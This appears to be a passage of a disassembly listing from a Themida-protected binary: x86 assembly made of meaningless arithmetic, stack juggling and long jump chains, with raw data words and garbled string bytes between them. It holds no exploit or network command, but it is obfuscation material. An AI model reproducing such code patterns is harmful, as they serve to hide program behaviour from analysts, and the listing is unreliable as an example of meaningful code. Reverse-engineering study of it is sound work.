		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B8C2:				; CODE XREF: Themida_:00568444j
		pop	ecx
		push	0EBB3C216h
		pop	ecx
		add	ecx, edx
		pop	edx
		add	edx, 55B27157h
		add	edx, ecx
		push	ecx
		mov	ecx, 55B27157h
		sub	edx, ecx
		pop	ecx
		jmp	loc_55D858
; ---------------------------------------------------------------------------


loc_56B8E2:				; CODE XREF: Themida_:005640E5j
		push	ecx
		mov	ecx, 1CA146D7h
		dec	ecx
		shl	ecx, 7
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0
		sub	ebp, ecx
		xchg	ebp, ecx
		pop	ebp
		not	ecx
		add	ecx, 0E370B001h
		add	eax, ecx
		pop	ecx
		jmp	loc_55D70F
; ---------------------------------------------------------------------------
		dd 0C8BE800h, 4C48124h,	52000000h, 2FE7E9h, 252CAC00h
		dd 53E95366h, 0FFFFFF63h, 0E9042474h, 0FFFFFD08h, 5D59CF29h
		dd 8904EC83h, 2BD242Ch,	1000000h, 0EC815DEFh, 4, 0FF243C89h
		dd 8B042474h, 9BE9243Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B957:				; CODE XREF: Themida_:00563720j
		shl	esi, 2
		shr	esi, 2
		push	ebx
		mov	ebx, 4FD30523h
		neg	ebx
		or	ebx, 0B5432D0h
		inc	ebx
		add	ebx, 0BDCD4B88h
		sub	esi, ebx
		pop	ebx
		jmp	loc_566D25
; ---------------------------------------------------------------------------
		dw 3166h
		dd 6866240Ch, 89662A5Bh, 3166240Ch, 3366243Ch, 3166243Ch
		dd 5766243Ch, 4EC81h, 3C890000h, 815F5424h, 4C7h, 2BB5300h
		dd 29000000h, 95E95BDFh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B9B3:				; CODE XREF: Themida_:0055DEC4j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_569015
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0BB5359CAh, 4, 875BDA01h, 0EEE92414h, 4FFFFDCh
		dd 0C959E9A7h, 0C8BFFFFh, 4C48324h, 4EC81h, 4890000h, 0E9DC8824h
		dd 0FFFF5CC9h, 0BF243C89h, 4, 3C8BFB01h, 4C48124h, 57000000h
		dd 855BA52h, 0B4E9018Bh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA17:				; CODE XREF: Themida_:005627F5j
		mov	edi, [esp]
		jmp	loc_55D558
; ---------------------------------------------------------------------------
		db 5Fh
		dd 9DD0A635h, 2C8150AFh, 0A9405A24h, 0BE95B13h,	0E9FFFF20h
		dd 0FFFF0A94h, 50240C89h, 0FFDA16E9h, 243489FFh, 0E9515E57h
		dd 0FFFF10E3h, 0DAE95854h, 0E9FFFF37h, 0FFFF0A74h, 4BDh
		dd 38E2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA62:				; CODE XREF: Themida_:00564EA8j
		dec	esi
		sub	esi, 9DA697F1h
		add	eax, 16212614h
		sub	eax, esi
		sub	eax, 16212614h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_565567
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 8B545124h, 0CEE9240Ch, 68000020h, 376Ah, 0E9241C89h
		dd 0FFFF5360h, 0E19BD55h, 0EB294122h, 242C8B5Dh, 4C481h
		dd 0DDE90000h, 31FFFFA4h, 31D631F2h, 25F968F2h,	0B0E90000h
		dd 5AFFFFA5h, 0E981E1D1h, 0ECFEC257h, 40F1C181h, 0E9836736h
		dd 19BF57FFh, 1493641h,	0DBE95FF9h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BAE3:				; CODE XREF: Themida_:00568129j
		add	dl, 0F7h
		sub	al, dl
		pop	edx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 0D2023A3h
		sub	edx, 0D20239Fh
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_56C3C9
; ---------------------------------------------------------------------------


loc_56BB12:				; CODE XREF: Themida_:0056161Cj
		pop	esp
		jmp	loc_566A7A
; ---------------------------------------------------------------------------
		dd 8704C683h, 248B2434h, 31C33124h, 9A2E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB2A:				; CODE XREF: Themida_:005697BFj
		xor	esi, edx
		pop	edx
		add	esi, 0FB727DACh
		jmp	loc_55D1FC
; ---------------------------------------------------------------------------
		dd 0B85055ADh, 75294A92h, 0BCE9C589h, 66FFFF5Fh, 4388E9ADh
		dd 2E05FFFFh, 0E9378153h, 0FFFFCFEBh, 0F670B551h, 80D5F6D5h
		dd 0ED8061EDh, 0F4C58033h, 0EE9E800h, 53FFFFBCh, 0F12116BBh
		dd 8BD82912h, 12E9241Ch, 87FFFF3Dh, 565C241Ch, 454F3CBEh
		dd 1ABD5574h, 315B1373h, 8DE95DEEh, 66FFFF2Dh, 6824048Bh
		dd 264h, 0E9241C89h, 0FFFF47A1h
; ---------------------------------------------------------------------------


loc_56BBA8:				; CODE XREF: Themida_:0056F957j
		push	edx
		mov	edx, 4
		jmp	loc_5675C4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B24048Fh, 0FF562424h, 5E042474h, 8B24048Fh,	8B662424h
		dd 0AA682404h, 89000078h, 0E0892404h, 2747E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BBD9:				; CODE XREF: Themida_:00564E36j
		mov	edx, esp
		jmp	loc_569527
; ---------------------------------------------------------------------------


loc_56BBE0:				; CODE XREF: Themida_:0055E78Cj
		push	edx
		mov	edx, 612F7C40h
		not	edx
		sub	edx, 74953954h
		sub	eax, edx
		pop	edx
		jmp	loc_5708F1
; ---------------------------------------------------------------------------
		dw 1368h
		dd 89000030h, 0E789243Ch, 4C781h, 0FAE90000h, 81FFFFD8h
		dd 0FFFFFFC5h, 0E9D5F7FFh, 3CE1h
; ---------------------------------------------------------------------------


loc_56BC18:				; CODE XREF: Themida_:005676F6j
		mov	edi, 6A9357EDh
		shr	edi, 1
		shr	edi, 1
		inc	edi
		neg	edi
		jmp	loc_56FE7F
; ---------------------------------------------------------------------------


loc_56BC29:				; CODE XREF: Themida_:00565C82j
		mov	eax, 76356727h
		and	ebp, eax
		pop	eax
		sub	ebp, 0FB13E52h
		sub	ebp, 506EC5D2h
		mov	edi, ebp
		pop	ebp
		jmp	loc_56AD21
; ---------------------------------------------------------------------------
aFqIpI0Xhg	db 'fQ╠┴P╟╗0аXhg+',0
		align 4
		dd 0FFDF92E9h, 0DBEA81FFh, 425ACC77h, 4A07EAC1h, 8EF0C281h
		dd 0D501439Ah, 0FC5815Ah, 8115C340h, 4555D8C5h,	56DD0123h
		dd 0E12769BEh, 8EEC14Ch, 0C146DEF7h, 0D6F704EEh, 87C6C681h
		dd 0C5813340h, 1A0450A8h, 87FED81h, 78E92B8Dh, 81FFFFDBh
		dd 4ECh, 24248900h, 4BE56h, 74010000h, 585E0424h, 4C93E956h
		dd 1C8BFFFFh, 0E0895024h, 405h,	30E95300h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCCF:				; CODE XREF: Themida_:00569372j
		sub	eax, 4
		jmp	loc_55C7D1
; ---------------------------------------------------------------------------


loc_56BCD7:				; CODE XREF: Themida_:0056091Cj
		shr	edx, 8
		sub	edx, 91500C15h
		add	ecx, edx
		jmp	loc_56EB74
; ---------------------------------------------------------------------------


loc_56BCE7:				; CODE XREF: Themida_:0055ED4Bj
		sub	eax, 267F0549h
		add	esi, 75E02B93h
		sub	esi, eax
		sub	esi, 75E02B93h
		mov	eax, [esp]
		push	edx
		jmp	loc_5632BB
; ---------------------------------------------------------------------------


loc_56BD03:				; CODE XREF: Themida_:0055EC7Fj
		add	dword ptr [esp], 4
		jmp	loc_56E67A
; ---------------------------------------------------------------------------


loc_56BD0F:				; CODE XREF: Themida_:005676FEj
		pop	ecx
		jmp	loc_56D38F
; ---------------------------------------------------------------------------
		db 0BFh, 99h, 69h
		dd 0E781303Ah, 0CF42E0Fh, 375DE955h, 0BE56FFFFh, 71D63E81h
		dd 1F6CEE81h, 0F0892965h, 14F7505Eh, 0D8F75824h, 7F7BBB53h
		dd 814B7D3Fh, 711CFDC3h, 6CEB8122h, 188FB9Eh, 0C1295BD8h
		dd 59C80158h, 0FF342AE9h, 241C8BFFh, 2E7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56BD65:				; CODE XREF: Themida_:0056E857j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	edi
		push	2E227EC4h
		pop	edi
		neg	edi
		push	ebx
		mov	ebx, 76194182h
		shl	ebx, 8
		add	ebx, 77F60A88h
		jmp	loc_55D429
; ---------------------------------------------------------------------------


loc_56BD88:				; CODE XREF: Themida_:00562988j
		add	ebx, eax
		jmp	loc_55D84D
; ---------------------------------------------------------------------------


loc_56BD8F:				; CODE XREF: Themida_:0056E398j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563652
; ---------------------------------------------------------------------------


loc_56BD9A:				; CODE XREF: Themida_:00565B19j
		mov	edi, 0C2B333Fh
		xor	edi, 364456B6h
		jmp	loc_55F501
; ---------------------------------------------------------------------------


loc_56BDAA:				; CODE XREF: Themida_:0055E79Dj
		pop	ecx
		xor	ebx, 57FC3BB9h
		jmp	loc_5651BF
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 17586C4Eh, 9725170Dh, 8871E941h, 0F901FFFFh,	58E2E981h
		dd 0B3E945F1h, 51FFFFAEh, 7D7FB850h, 0E8C14ADEh, 2DD8F702h
		dd 758F68BBh, 0BB8EA72Dh, 58C1893Eh, 0FD6943BFh, 59CF2938h
		dd 685FF801h, 1331h, 0FF240489h, 58042474h, 5C24048Fh
		dd 0FF06BFE9h, 5FFA89FFh, 2A87E9h, 240C8B00h, 4EC81h, 0AFE90000h
		dd 66FFFF74h, 0DCB252h,	8B5A66D0h, 0C4812414h, 4, 80F9C380h
		dd 0B05022C3h, 34C8FEDCh, 3E8C073h, 98343534h, 0E2E9C328h
		dd 0F7000007h, 0D5C281D2h, 81A100EEh, 0CC5A0BC5h, 0E9D5014Ch
		dd 0FFFF3B14h
; ---------------------------------------------------------------------------


loc_56BE64:				; CODE XREF: Themida_:00563C2Bj
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 0EC15FA3h
		xor	ebp, 5BB0249Bh
		push	ebp
		xor	[esp], edx
		jmp	loc_55F16D
; ---------------------------------------------------------------------------
		dw 26BBh
		dd 0E965D223h, 2C02h, 0BE5652ADh, 11802EC8h, 15EF289h
		dd 24148BD0h, 104C483h,	1A5EE9D8h, 0D8BD0000h, 811B1B4Bh
		dd 9E60D1E5h, 0ED814D1Bh, 0FFD82A2Bh, 0CFE9EF89h, 8B00004Ch
		dd 54532404h, 4C3815Bh,	0E9000000h, 239Fh
; ---------------------------------------------------------------------------


loc_56BED0:				; CODE XREF: Themida_:00566EBCj
		mov	eax, esp
		add	eax, 4
		jmp	loc_56128E
; ---------------------------------------------------------------------------


loc_56BEDC:				; CODE XREF: Themida_:00560644j
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_565C06
; ---------------------------------------------------------------------------


loc_56BEFC:				; CODE XREF: Themida_:0055ECA1j
		pop	esp
		add	esi, 4
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3CDC1382h
		add	eax, 2EED4DC2h
		push	ebp
		push	edx
		push	1E9B03A6h
		pop	edx
		sub	edx, 7E687114h
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	edx
		neg	dword ptr [esp]
		pop	edx
		xor	edx, 0B6D0B480h
		mov	ebp, edx
		pop	edx
		jmp	loc_56AE19
; ---------------------------------------------------------------------------
a@@Xh1		db '╦Й@@})цXh1`',0
		dw 8900h
		dd 34FF2404h, 2434FF24h, 4C4835Ah, 63E95452h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BF5B:				; CODE XREF: Themida_:0056CA8Ej
		push	3020h
		mov	[esp], edi
		push	esi
		mov	esi, 0
		jmp	loc_56B770
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0BBD5504h, 456E9E4Dh, 0BF57D5F7h, 14250B46h,	0A7ADC781h
		dd 0FD297D3Ch, 5F2434FFh, 4C481h, 0F5290000h, 0E95DEE87h
		dd 3557h, 0C181E189h, 4, 4BD55h, 0E9010000h, 240C875Dh
		dd 0FFD5005Ch, 78E92434h, 33FFFFB1h, 4AE9240Ch,	87FFFF4Ah
		dd 895C2404h, 68552414h, 1D0C298Eh, 83242C8Bh, 0E95304C4h
		dd 0FFFF1EF4h, 0E924248Bh, 0FFFF47B6h
; ---------------------------------------------------------------------------


loc_56BFE4:				; CODE XREF: Themida_:0055DA07j
		push	ecx
		jmp	loc_565D58
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 5FBABF24h, 0D56810E1h, 0E900006Dh, 0FFFFC244h, 0E957F287h
		dd 0FFFF3AE6h
; ---------------------------------------------------------------------------


loc_56C004:				; CODE XREF: Themida_:0056E472j
		not	ebp
		add	ebp, 58A139ABh
		jmp	loc_56923B
; ---------------------------------------------------------------------------
		db 5Ah,	68h, 0
		dd 80000000h, 0E911242Ch, 0FFFFDBEAh, 5C243C87h, 0FFE970E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C029:				; CODE XREF: Themida_:005639A4j
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_566353
; ---------------------------------------------------------------------------
		db 88h,	0DAh, 5Bh
		dd 66FFC280h, 5FB65250h, 0F1E9F488h, 1FFFF35h, 5E042474h
		dd 8124148Bh, 4C4h, 10CAE900h, 0D801FFFFh, 48D0F75Bh, 0FF2F9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C069:				; CODE XREF: Themida_:0056FDEEj
		sub	bl, 0CEh
		sub	bl, 0CDh
		jmp	loc_56360B
; ---------------------------------------------------------------------------


loc_56C074:				; CODE XREF: Themida_:005668B6j
		push	ecx
		mov	ecx, esp
		jmp	loc_570F71
; ---------------------------------------------------------------------------


loc_56C07C:				; CODE XREF: Themida_:00569721j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56E07D
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5A0F3D78h
		jmp	loc_56812E
; ---------------------------------------------------------------------------


loc_56C097:				; CODE XREF: Themida_:0056941Cj
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56C3BE
; ---------------------------------------------------------------------------


loc_56C0A1:				; CODE XREF: Themida_:0055DC3Fj
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	edi
		jmp	loc_55D099
; ---------------------------------------------------------------------------


loc_56C0B2:				; CODE XREF: Themida_:00566E02j
		add	edi, 0A4C58FDh
		and	edi, 12070EB1h
		jmp	loc_570019
; ---------------------------------------------------------------------------
aLIHJ		db '▀$$┴<$h╠J',0
		align 2
		dw 1C89h
aHm7uSsc	db '$hM7U',27h,'[И≤C',0
		align 4
		dd 0E9241C89h, 0FFFFFD9Eh, 8904EC83h, 0C588240Ch, 52E88850h
		dd 0E950C288h, 0FFFFAB87h
; ---------------------------------------------------------------------------


loc_56C0F8:				; CODE XREF: Themida_:0056505Ej
		not	edx
		push	ecx
		push	edi
		push	628C2027h
		pop	edi
		sub	edi, 1
		shl	edi, 3
		not	edi
		jmp	loc_56D449
; ---------------------------------------------------------------------------
		db 58h
		dd 2474FF55h, 0A5E95D04h, 8B000040h, 8951240Ch,	4DE950E1h
		dd 8900004Bh, 0EBC158C3h, 4A24E907h, 565FFFFFh,	1704BA52h
		dd 5EE93F1Bh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C13F:				; CODE XREF: Themida_:0056F13Aj
		sub	ebp, 19440E28h
		inc	ebp
		sub	ebp, 0FFFFFFFFh
		add	ebp, 11298ECAh
		sub	[edi+24h], ebp
		jmp	loc_56AA79
; ---------------------------------------------------------------------------
		dw 0E300h
		dd 2DD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C161:				; CODE XREF: Themida_:00567B67j
		push	6ECEh
		mov	[esp], edi
		mov	edi, 123D1CECh
		shr	edi, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 42154A37h
		sub	edi, eax
		pop	eax
		xor	edi, 0C2D621B4h
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esi, edi
		sub	esi, 5DF658Bh
		jmp	loc_56D352
; ---------------------------------------------------------------------------


loc_56C19A:				; CODE XREF: Themida_:00566652j
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_56CD24
; ---------------------------------------------------------------------------
		db 4
		dd 52D8282Bh, 0EE80FAB6h, 5AF028CFh, 8904EC83h,	49B3241Ch
		dd 70E66866h, 0FF5AFDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C1C1:				; CODE XREF: Themida_:00565C98j
		mov	eax, ebp
		pop	ebp
		mov	esi, eax
		pop	eax
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, edi
		pop	edi
		and	eax, edx
		jmp	loc_56F46E
; ---------------------------------------------------------------------------
		dd 0C14A5E5Ah, 554A04EAh, 0FFED87E9h, 0F2BD55FFh, 0E96F41E0h
		dd 0FFFFA71Dh
; ---------------------------------------------------------------------------


loc_56C1F4:				; CODE XREF: Themida_:005705C5j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56210D
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF3E7Fh
; ---------------------------------------------------------------------------


loc_56C208:				; CODE XREF: Themida_:00565BB1j
		pop	esi
		jmp	loc_56027E
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 89241489h, 1589E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C222:				; CODE XREF: Themida_:0056A6A5j
		and	ebp, 4E591E18h
		jmp	loc_55D708
; ---------------------------------------------------------------------------
		db 59h,	81h, 0EAh
		dd 4, 0FF02ACE9h, 0E78957FFh, 4C781h, 0C7830000h, 243C8704h
		dd 27DEE95Ch, 0D1F7FFFFh, 0EFD1CF87h, 0FFB4B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C259:				; CODE XREF: Themida_:00563C21j
		push	edx
		mov	edx, 4FDE40A9h
		sub	edx, 4E580645h
		neg	edx
		jmp	loc_568D8A
; ---------------------------------------------------------------------------
		dd 2BE565Bh, 1000000h, 0CB685EF2h, 89000040h, 74FF2414h
		dd 0DCE90424h, 1FFFFE5h, 0C2815DEAh, 2,	31241433h, 14332414h
		dd 21665C24h, 0E99C2404h, 0FFFF0228h
; ---------------------------------------------------------------------------


loc_56C2A4:				; CODE XREF: Themida_:0056EF80j
		add	eax, ebp
		pop	ebp
		jmp	loc_5617B6
; ---------------------------------------------------------------------------
		dd 0C5E9F829h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C2B3:				; CODE XREF: Themida_:0056E33Cj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5681EB
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFEC8Bh, 0E9243489h, 0FFFF3BC5h
; ---------------------------------------------------------------------------


loc_56C2CC:				; CODE XREF: Themida_:0056F686j
		push	ebp
		jmp	loc_56C957
; ---------------------------------------------------------------------------
		dw 0FE01h
a_s5		db '_ИЛ5',0
		align 2
		dw 0D329h
		dd 0E9DA095Ah, 0FFFFC7F2h
; ---------------------------------------------------------------------------


loc_56C2E4:				; CODE XREF: Themida_:00563A7Bj
		shr	esi, 4
		sub	esi, 3813259h
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5668EB
; ---------------------------------------------------------------------------


loc_56C2FE:				; CODE XREF: Themida_:0056C5C5j
		pop	esi
		shr	edi, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 77E755BCh
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		inc	edx
		push	ecx
		push	edx
		pop	ecx
		jmp	loc_568CAF
; ---------------------------------------------------------------------------
		db 53h
		dd 0A3E9E389h, 83FFFF9Eh, 636804C0h, 8900000Bh,	0D2E92404h
		dd 89FFFF35h, 6856242Ch, 36142EAAh, 672E685Eh, 1C890000h
		dd 0E95B5624h, 0FFFF5FAFh, 4244481h, 3A625FD5h,	4244429h
		dd 2B4BE9h, 1C895C00h, 4EC8124h, 0E9000000h, 0FFFF48BFh
; ---------------------------------------------------------------------------


loc_56C36C:				; CODE XREF: Themida_:0055CB19j
		push	ecx
		mov	ecx, 6C0048B6h
		neg	ecx
		jmp	loc_55EA76
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF967EE9h, 0FDF681FFh, 896F7B59h, 0D3215EF2h, 0FF6D2BE9h
		dd 81CA01FFh, 0D23767C2h, 240C8B66h, 4C481h, 0B8500000h
		dd 4, 0FF6B83E9h, 0FF5F2CFFh, 815B2434h, 4C4h, 6BF4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3BE:				; CODE XREF: Themida_:0056C09Cj
		pop	esi
		push	ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_56419B
; ---------------------------------------------------------------------------


loc_56C3C9:				; CODE XREF: Themida_:0056BB0Dj
		mov	[esp], bx
		jmp	loc_56A3FD
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 2474FF55h, 4C2DE904h, 1768FFFFh, 89000021h, 0E6892434h
		dd 0F03AE952h, 0E955FFFFh, 0FFFFE846h, 3508E0C1h, 62C8763Bh
		dd 566E9h, 9EBD5500h, 0E939B95Eh, 0FFFF7C69h, 8324148Bh
		dd 685304C4h, 5243h, 0BF243C89h, 65AB4ECCh, 25C7814Fh
		dd 81379841h, 0D07D61CFh, 6D4DE921h, 9B68FFFFh,	0E9000028h
		dd 19B6h, 8BD30158h, 3DE92414h,	0FFFFACh, 6B88E9F3h, 685DFFFFh
		dd 1CAh, 0B9240C89h, 0E7A7722h,	0FF1B1AE9h, 240489FFh
		dd 0E268E089h, 0E900002Eh, 0FFFF2BFDh, 0E92434FFh, 0FFFF2FE4h
; ---------------------------------------------------------------------------


loc_56C47C:				; CODE XREF: Themida_:0056D3EBj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, 4C325B08h
		add	esi, edi
		sub	esi, 4C325B08h
		jmp	loc_56C9F9
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 5Eh
		dd 15DEB29h, 88C381C3h,	0E958D111h, 0FFFFBADCh
; ---------------------------------------------------------------------------


loc_56C4B0:				; CODE XREF: Themida_:0056CBA8j
		pop	ebp
		add	esp, 4
		push	5950h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	532Fh
		jmp	loc_55E3D4
; ---------------------------------------------------------------------------


loc_56C4D1:				; CODE XREF: Themida_:0056FC3Fj
		xchg	eax, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_56C4DF:				; CODE XREF: Themida_:005709E9j
		push	edx
		jmp	loc_562FF9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 83241489h, 8F5404ECh, 2E92404h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C4F7:				; CODE XREF: Themida_:0055EF21j
					; Themida_:00563771j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55D4DB
; ---------------------------------------------------------------------------


loc_56C505:				; CODE XREF: Themida_:00565709j
		pop	ecx
		xor	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_55DAAA
; ---------------------------------------------------------------------------
		db 52h
		dd 42474FFh, 24048F5Ah,	8CE9515Ch, 8100002Fh, 4C4h, 0A9BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C53E:				; CODE XREF: Themida_:0056E897j
		push	5FB8h
		jmp	loc_56A2E1
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 0E9241C33h, 0FFFF6B45h, 1FCC68h
		dd 24348900h, 2434FF54h, 4C4835Eh, 4C681h, 0EC810000h
		dd 4, 81242C89h, 4ECh, 24048900h, 0AA22AAB8h, 22AE3550h
		dd 555050AAh, 0F0D9E956h, 0C481FFFFh, 4, 2560E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C5A1:				; CODE XREF: Themida_:0055EE8Ej
		inc	edx
		sub	edx, 0B38BE2F9h
		mov	ecx, edx
		jmp	loc_55DEE3
; ---------------------------------------------------------------------------


loc_56C5AF:				; CODE XREF: Themida_:00565243j
		mov	eax, 7C941A20h
		add	eax, 74F4235Ch
		not	eax
		xor	eax, 1D58A2FAh
		xor	esi, eax
		pop	eax
		push	esi
		pop	edi
		jmp	loc_56C2FE
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 86E781DFh, 4F77FB78h, 4229F781h, 0B3E97581h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C5DF:				; CODE XREF: Themida_:0056F392j
		push	esi
		mov	esi, 16FE4B8Ch
		jmp	loc_5650B4
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 0EA010000h, 5D2434FFh, 4C481h, 0BB530000h, 2
		dd 0FF6505E9h, 24048FFFh, 2434FF5Ch, 0FFEC6AE9h, 17FC2DFFh
		dd 8D054122h, 8B0DC878h, 0C483243Ch, 68D82904h,	1CC5h
		dd 0FF0F4DE9h, 0C32858FFh, 0B8B55166h, 2AC380h,	2AEB80EBh
		dd 49E95966h, 0BBFFFF08h, 96D1F6Ch, 1579EB81h, 0C14B29BBh
		dd 8CE905E3h, 81FFFF73h, 0C7A8CC3h, 0EDC38101h,	52447675h
		dd 2E98E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C66D:				; CODE XREF: Themida_:0056C77Aj
		push	79Dh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		push	edi
		mov	edi, 25D122F9h
		neg	edi
		xor	edi, 17D5174Ch
		xor	edi, 37131D54h
		shr	edi, 2
		dec	edi
		sub	edi, 0FCB0DF02h
		mov	ebp, edi
		pop	edi
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	edi
		jmp	loc_566D05
; ---------------------------------------------------------------------------
		dd 57240C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	0F7405C24h
		dd 81635D8h, 0BB531288h, 0AA41573h, 0EB81D3F7h,	56314D56h
		dd 294DCB81h, 0F3810FF6h, 846DA658h, 0FFE25EE9h, 243C87FFh
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_566AF4
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 1BA5299Dh, 8245C01h, 0FFE8C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C701:				; CODE XREF: Themida_:0056B67Aj
		push	110Bh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 738A23B3h
		add	ecx, 0FFFFFFFFh
		shl	ecx, 4
		shr	ecx, 4
		add	ecx, 4EE534E6h
		jmp	loc_56A8AB
; ---------------------------------------------------------------------------
		db 88h
		dd 0C78059EFh, 5BFC2863h, 48BE628h, 0A3A8E924h,	0C601FFFFh
		dd 1E9EE958h, 69B9FFFFh, 8977D45Eh, 98BB59CEh, 68882BA1h
		dd 52BBh, 53240C89h, 4A73C7BBh,	0B693E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C75E:				; CODE XREF: Themida_:0056A45Cj
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, eax
		mov	dx, [esp]
		jmp	loc_56C66D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C2424D2h, 0FEFD43E9h, 6E0C1FFh, 8135E0D1h, 11A3CA3h
		dd 0DF2958C7h, 2781EF81h, 8B5B1ABCh, 68E9242Ch,	9FFFFEAh
		dd 240C8BC8h, 4C481h, 0EC810000h, 4, 0BE243489h, 609A00A7h
		dd 715F802Dh, 5F0014Eh,	4E715F80h, 8124348Bh, 4C4h, 2E8C100h
		dd 259FF105h, 4CEF81CAh, 81329723h, 0B53D33EFh,	81C70138h
		dd 0B53D33C7h, 4CC78138h, 58329723h, 31243C33h,	3C33243Ch
		dd 0FF79E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C806:				; CODE XREF: Themida_:00570A06j
		or	ch, dl
		pop	dx
		neg	ch
		push	5686h
		mov	[esp], edx
		mov	dh, 6Ch
		push	78EFh
		mov	[esp], ecx
		mov	ch, 9Eh
		or	dh, ch
		jmp	loc_56729C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4EC81h, 14890000h, 0D6E95024h, 81000012h
		dd 4C4h, 68505600h, 0C471EDAh, 8124048Bh, 4C4h,	35B95100h
		dd 5749535Ch, 632DA4BFh, 53514736h, 45451BBBh, 5C3AE916h
